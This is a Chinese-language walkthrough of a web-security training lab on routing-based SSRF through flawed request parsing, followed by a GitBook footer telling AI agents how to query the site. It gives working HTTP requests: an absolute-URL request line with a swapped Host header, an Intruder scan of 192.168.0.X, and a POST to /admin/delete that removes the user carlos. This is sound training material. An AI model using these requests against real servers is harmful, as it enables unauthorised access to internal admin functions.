> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/host-header/ssrf-via-incorrect-request-parsing.md).

# 通过错误解析请求导致的 SSRF

### 通过有缺陷的请求解析进行 SSRF

这个实验存在一种 **基于路由的 SSRF**. 服务器错误地解析了查询实际针对的主机。目标是访问内部管理面板，然后删除该用户 **carlos**.

### 初步观察

直接编辑 `Host` 标头不起作用。请求仍然被阻止。

```http
Host: jord4n.pro
```

<figure><img src="/files/1b799adddde8d46ab09adc82fb2ce57b33f45df3" alt=""><figcaption></figcaption></figure>

### 绕过解析

这里的关键点是请求格式。当使用绝对 **URL**时，应用程序会尝试解析查询行中指定的主机。 `Host` header 变为次要。

```html
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: test.com
```

答案证实了这一行为。服务器正试图连接 `test.com`.

```html
<h1>
    服务器错误：连接 test.com 时网关超时（3）
</h1>
```

<figure><img src="/files/271a138d5fd8ebbab918d178850126b46977d4c2" alt=""><figcaption></figcaption></figure>

### 内部主机发现

现在我们可以扫描内部 `192.168.0.0/24` 网段。最简单的方法是使用 **Intruder** 在最后一个字节上。

```http
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: 192.168.0.X
```

该 `192.168.0.92` 地址响应 `302` 代码。该响应表明管理面板存在。

<figure><img src="/files/2f1a5e50b5308e22604d7178d1b34275581aea40" alt=""><figcaption></figcaption></figure>

### 删除用户

在识别出内部主机后，我们打开 `/admin`. 然后我们从页面中获取 CSRF 令牌。只需将删除请求发送到内部主机。

```http
POST https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/admin/delete HTTP/2
Host: 192.168.0.92

csrf=Rrh5bY7GRvuOjDW1nTUWrIjaqAdlTvtW&username=carlos
```

删除 **carlos** 验证了该实验。

<figure><img src="/files/88944ecfbd4d2da5abcdd812371756c72fc7a14b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/host-header/ssrf-via-incorrect-request-parsing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
